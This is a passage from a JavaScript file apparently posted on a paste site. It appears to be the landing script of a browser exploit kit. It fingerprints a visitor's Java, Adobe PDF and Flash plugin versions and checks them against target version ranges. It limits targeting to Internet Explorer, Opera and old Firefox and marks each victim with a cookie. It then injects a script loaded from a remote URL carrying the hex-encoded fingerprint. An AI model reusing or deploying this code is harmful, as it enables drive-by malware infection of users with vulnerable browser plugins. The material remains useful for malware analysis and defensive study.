  1831.                             n = b
  1832.                         }
  1833.                         if (!b && d.hasMimeType(g.mimeType)) {
  1834.                             b = d.findNavPlugin(a, 0)
  1835.                         }
  1836.                         if (b) {
  1837.                             g.navPluginObj = b;
  1838.                             h = d.getNum(b.description) || d.getNum(b.name);
  1839.                             h = d.getPluginFileVersion(b, h);
  1840.                             if (!h && d.OS == 1) {
  1841.                                 if (g.pluginHasMimeType(b, 'application/vnd.adobe.pdfxml', a)) {
  1842.                                     h = '9'
  1843.                                 } else {
  1844.                                     if (g.pluginHasMimeType(b, 'application/vnd.adobe.x-mars', a)) {
  1845.                                         h = '8'
  1846.                                     }
  1847.                                 }
  1848.                             }
  1849.                         }
  1850.                     } else {
  1851.                         h = g.version
  1852.                     } if (!d.isDefined(n)) {
  1853.                         n = d.getMimeEnabledPlugin(k, a)
  1854.                     }
  1855.                     g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
  1856.                 } else {
  1857.                     b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  1858.                     c = /=\s*([\d\.]+)/g;
  1859.                     try {
  1860.                         f = (b || d.getDOMobj(d.insertHTML('object', ['classid', g.classID], ['src', ''], '', g))).GetVersions();
  1861.                         for (m = 0; m < 5; m++) {
  1862.                             if (c.test(f) && (!h || h < RegExp.$1)) {
  1863.                                 h = RegExp.$1
  1864.                             }
  1865.                         }
  1866.                     } catch (i) {}
  1867.                     g.installed = h ? 1 : (b ? 0 : -1)
  1868.                 } if (!g.version) {
  1869.                     g.version = d.formatNum(h)
  1870.                 }
  1871.                 g.INSTALLED[k] = g.installed
  1872.             }
  1873.         },
  1874.         zz: 0
  1875.     }
  1876. };
  1877. pdpd.initScript();
  1878. var splitnumber = function (str) {
  1879.     var ret = [];
  1880.     var spl = str.split(/[\.\_,-]/g);
  1881.     for (i = 0; i < 4; i++) {
  1882.         if ((typeof spl[i] != 'undefined') && (spl[i].length == 1)) {
  1883.             ret[i] = spl[i];
  1884.         } else {
  1885.             ret[i] = '0';
  1886.         }
  1887.     }
  1888.     return ret.join('');
  1889. };
  1890. var getnumber = function (str) {
  1891.     try {
  1892.         return splitnumber(str.match(/[\d][\d\.\_,-]*/).join(''));
  1893.     } catch (c) {};
  1894.     return '';
  1895. };
  1896. var pdfversion = function () {
  1897.     if (navigator.plugins && navigator.plugins.length > 0) {
  1898.         try {
  1899.             var pluginName = navigator.plugins['Adobe Acrobat'];
  1900.             if (!pluginName) return '';
  1901.             var pdf_ver_version = getnumber(pluginName.version);
  1902.             var pdf_ver_description = getnumber(pluginName.description);
  1903.             var pdf_ver_mime = '';
  1904.             if (navigator.mimeTypes['application/vnd.adobe.pdfxml']) {
  1905.                 pdf_ver_mime = '9.0.0.0';
  1906.             } else {
  1907.                 if (navigator.mimeTypes['application/vnd.adobe.x-mars']) {
  1908.                     pdf_ver_mime = '8.0.0.0';
  1909.                 }
  1910.             }; if (pdf_ver_version != '') {
  1911.                 return pdf_ver_version;
  1912.             } else if (pdf_ver_description != '') {
  1913.                 return pdf_ver_description;
  1914.             } else {
  1915.                 return pdf_ver_mime;
  1916.             }
  1917.         } catch (c) {
  1918.             return '';
  1919.         };
  1920.     } else {
  1921.         var div_obj = document.createElement('div');
  1922.         document.body.appendChild(div_obj);
  1923.         try {
  1924.             div_obj.innerHTML = '<OBJECT id = \"PdfPlugObj\" name=\"PdfPlugObj\" CLASSID=\"clsid:CA8A9780-280D-11CF-A24D-444553540000\" WIDTH=\"0\" HEIGHT=\"0\"></OBJECT>';
  1925.             return getnumber(PdfPlugObj.GetVersions());
  1926.         } catch (c) {
  1927.             return '';
  1928.         };
  1929.     }
  1930. };
  1931. var javaver = window.pdpd.getVersion('Java'),
  1932.     javaver2;
  1933. if (typeof javaver == 'string') {
  1934.     javaver2 = javaver.replace(/,/g, '.');
  1935.     javaver = javaver.split(',');
  1936.     if (javaver[3].length == 1) {
  1937.         javaver = '' + javaver[1] + '0' + javaver[3];
  1938.     } else {
  1939.         javaver = '' + javaver[1] + javaver[3];
  1940.     }
  1941. } else {
  1942.     javaver = 0;
  1943.     javaver2 = '0.0.0.0';
  1944. }
  1945. var flashver = window.pdpd.getVersion('Flash');
  1946. if (typeof flashver != 'string') {
  1947.     flashver = '0.0.0.0';
  1948. }
  1949. pdfver = pdfversion();
  1950. pdfver2 = pdfver;
  1951. pdfver = getnumber(pdfver);
  1952. if (pdfver != '') pdfver = parseInt(pdfver);
  1953. else {
  1954.     pdfver = 0;
  1955.     pdfver2 = '0.0.0.0';
  1956. } if (pdfver2.indexOf('.') == -1) {
  1957.     pdfver2 = '0.0.0.0';
  1958. }
  1959. var br = get_browser();
  1960. var br_ver = get_browser_version();
  1961. var good_pdf = false;
  1962. try {
  1963.     for (i = 0; i < pdfVersions.length; i++) {
  1964.         if ((pdfver >= pdfVersions[i][0]) && (pdfver <= pdfVersions[i][1])) {
  1965.             good_pdf = true;
  1966.             break;
  1967.         }
  1968.     }
  1969.     var good_java = false;
  1970.     for (i = 0; i < javaVersions.length; i++) {
  1971.         if ((javaver >= javaVersions[i][0]) && (javaver <= javaVersions[i][1])) {
  1972.             good_java = true;
  1973.             break;
  1974.         }
  1975.     }
  1976. } catch (e) {};
  1977. var par = pdfver2 + '||' + javaver2 + '||' + flashver.replace(/,/g, '.') + '||' + groupStr;
  1978. var params = bin2hex(par);
  1979. if (((operaFilter && (br == 'opera')) || (ieFilter && (br == 'msie')) || ((br == 'firefox') && (br_ver <= 19))) && !getCookie(cookieName) && ((!javaFilter || good_java) || (!pdfFilter || good_pdf))) {
  1980.     try {
  1981.         setCookie(cookieName, '1', 'Mon, 01-Jan-2021 00:00:00 GMT');
  1982.         var namef = frameUrl + params;
  1983.         var divTag = document.createElement('div');
  1984.         divTag.id = 'trafficholder';
  1985.         document.body.appendChild(divTag);
  1986.         var fr3 = document.createElement('script');
  1987.         fr3.setAttribute('src', namef);
  1988.         document.getElementById('trafficholder').appendChild(fr3)
  1989.     } catch (e) {};
  1990. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement